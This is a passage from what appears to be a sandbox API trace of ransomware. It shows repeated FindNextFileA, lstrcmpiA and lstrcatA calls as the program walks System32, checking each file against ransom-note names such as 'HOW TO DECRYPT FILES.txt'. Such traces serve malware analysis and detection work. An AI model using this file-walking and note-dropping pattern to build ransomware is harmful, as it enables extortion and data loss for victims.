| out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x684e2db1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x684e2db1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x678cb660, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0144.100] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.100] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmdkey.exe") returned 1 [0144.100] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmdkey.exe") returned 1 [0144.100] lstrcmpiA (lpString1="", lpString2="cmdkey.exe") returned -1 [0144.100] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmdial32.dll") returned="cmdial32.dll" [0144.101] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.101] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.101] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.101] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.101] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmdkey.exe" | out: lpString1="C:\\Windows\\System32\\cmdkey.exe") returned="C:\\Windows\\System32\\cmdkey.exe" [0144.101] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44c4543b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x44c4543b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x67917150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0144.101] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.101] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmdl32.exe") returned 1 [0144.101] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmdl32.exe") returned 1 [0144.101] lstrcmpiA (lpString1="", lpString2="cmdl32.exe") returned -1 [0144.101] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmdkey.exe") returned="cmdkey.exe" [0144.101] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.101] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.102] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.102] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.102] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmdl32.exe" | out: lpString1="C:\\Windows\\System32\\cmdl32.exe") returned="C:\\Windows\\System32\\cmdl32.exe" [0144.102] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0144.102] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.102] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmicryptinstall.dll") returned 1 [0144.102] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmicryptinstall.dll") returned 1 [0144.102] lstrcmpiA (lpString1="", lpString2="cmicryptinstall.dll") returned -1 [0144.102] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmdl32.exe") returned="cmdl32.exe" [0144.102] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.102] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.103] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.103] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.103] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmicryptinstall.dll" | out: lpString1="C:\\Windows\\System32\\cmicryptinstall.dll") returned="C:\\Windows\\System32\\cmicryptinstall.dll" [0144.103] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0144.103] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.103] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmifw.dll") returned 1 [0144.103] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmifw.dll") returned 1 [0144.103] lstrcmpiA (lpString1="", lpString2="cmifw.dll") returned -1 [0144.103] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmicryptinstall.dll") returned="cmicryptinstall.dll" [0144.103] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.103] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.104] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.104] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.104] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmifw.dll" | out: lpString1="C:\\Windows\\System32\\cmifw.dll") returned="C:\\Windows\\System32\\cmifw.dll" [0144.104] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0144.104] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.104] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmipnpinstall.dll") returned 1 [0144.104] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmipnpinstall.dll") returned 1 [0144.104] lstrcmpiA (lpString1="", lpString2="cmipnpinstall.dll") returned -1 [0144.104] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmifw.dll") returned="cmifw.dll" [0144.104] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.105] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.105] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.105] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.105] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmipnpinstall.dll" | out: lpString1="C:\\Windows\\System32\\cmipnpinstall.dll") returned="C:\\Windows\\System32\\cmipnpinstall.dll" [0144.105] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0144.105] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.105] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmlua.dll") returned 1 [0144.105] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmlua.dll") returned 1 [0144.105] lstrcmpiA (lpString1="", lpString2="cmlua.dll") returned -1 [0144.105] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmipnpinstall.dll") returned="cmipnpinstall.dll" [0144.106] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.106] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.106] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.106] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.106] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmlua.dll" | out: lpString1="C:\\Windows\\System32\\cmlua.dll") returned="C:\\Windows\\System32\\cmlua.dll" [0144.106] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5888f72d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5888f72d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x6793e250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0144.106] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.106] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmmon32.exe") returned 1 [0144.106] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmmon32.exe") returned 1 [0144.106] lstrcmpiA (lpString1="", lpString2="cmmon32.exe") returned -1 [0144.106] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmlua.dll") returned="cmlua.dll" [0144.107] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.107] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.107] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.107] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.107] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmmon32.exe" | out: lpString1="C:\\Windows\\System32\\cmmon32.exe") returned="C:\\Windows\\System32\\cmmon32.exe" [0144.107] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0144.107] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.107] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmpbk32.dll") returned 1 [0144.107] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmpbk32.dll") returned 1 [0144.107] lstrcmpiA (lpString1="", lpString2="cmpbk32.dll") returned -1 [0144.107] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmmon32.exe") returned="cmmon32.exe" [0144.107] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.108] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.108] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.108] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.108] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmpbk32.dll" | out: lpString1="C:\\Windows\\System32\\cmpbk32.dll") returned="C:\\Windows\\System32\\cmpbk32.dll" [0144.108] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937acf61, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x937acf61, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937d30c1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0144.108] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.108] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmstp.exe") returned 1 [0144.108] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmstp.exe") returned 1 [0144.108] lstrcmpiA (lpString1="", lpString2="cmstp.exe") returned -1 [0144.108] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmpbk32.dll") returned="cmpbk32.dll" [0144.108] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.108] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.109] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.109] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.109] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmstp.exe" | out: lpString1="C:\\Windows\\System32\\cmstp.exe") returned="C:\\Windows\\System32\\cmstp.exe" [0144.109] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0144.109] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.109] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmstplua.dll") returned 1 [0144.109] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmstplua.dll") returned 1 [0144.109] lstrcmpiA (lpString1="", lpString2="cmstplua.dll") returned -1 [0144.109] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmstp.exe") returned="cmstp.exe" [0144.109] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.109] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.109] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.109] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.110] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmstplua.dll" | out: lpString1="C:\\Windows\\System32\\cmstplua.dll") returned="C:\\Windows\\System32\\cmstplua.dll" [0144.110] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0144.110] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.110] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cmutil.dll") returned 1 [0144.110] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cmutil.dll") returned 1 [0144.110] lstrcmpiA (lpString1="", lpString2="cmutil.dll") returned -1 [0144.110] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmstplua.dll") returned="cmstplua.dll" [0144.110] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.110] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.110] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.110] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.110] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cmutil.dll" | out: lpString1="C:\\Windows\\System32\\cmutil.dll") returned="C:\\Windows\\System32\\cmutil.dll" [0144.111] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0144.111] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.111] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cngaudit.dll") returned 1 [0144.111] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cngaudit.dll") returned 1 [0144.111] lstrcmpiA (lpString1="", lpString2="cngaudit.dll") returned -1 [0144.111] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cmutil.dll") returned="cmutil.dll" [0144.111] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.111] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.111] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.111] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.111] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cngaudit.dll" | out: lpString1="C:\\Windows\\System32\\cngaudit.dll") returned="C:\\Windows\\System32\\cngaudit.dll" [0144.112] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0144.112] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.112] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="cngprovider.dll") returned 1 [0144.112] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="cngprovider.dll") returned 1 [0144.112] lstrcmpiA (lpString1="", lpString2="cngprovider.dll") returned -1 [0144.112] PathFindFileNameA (pszPath="C:\\Windows\\System32\\cngaudit.dll") returned="cngaudit.dll" [0144.112] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.112] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.112] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.112] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.112] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="cngprovider.dll" | out: lpString1="C:\\Windows\\System32\\cngprovider.dll") returned="C:\\Windows\\System32\\cngprovider.dll" [0144.113] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0144.113] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.113] lstrcmpiA (lpString1="ÊÀÊ 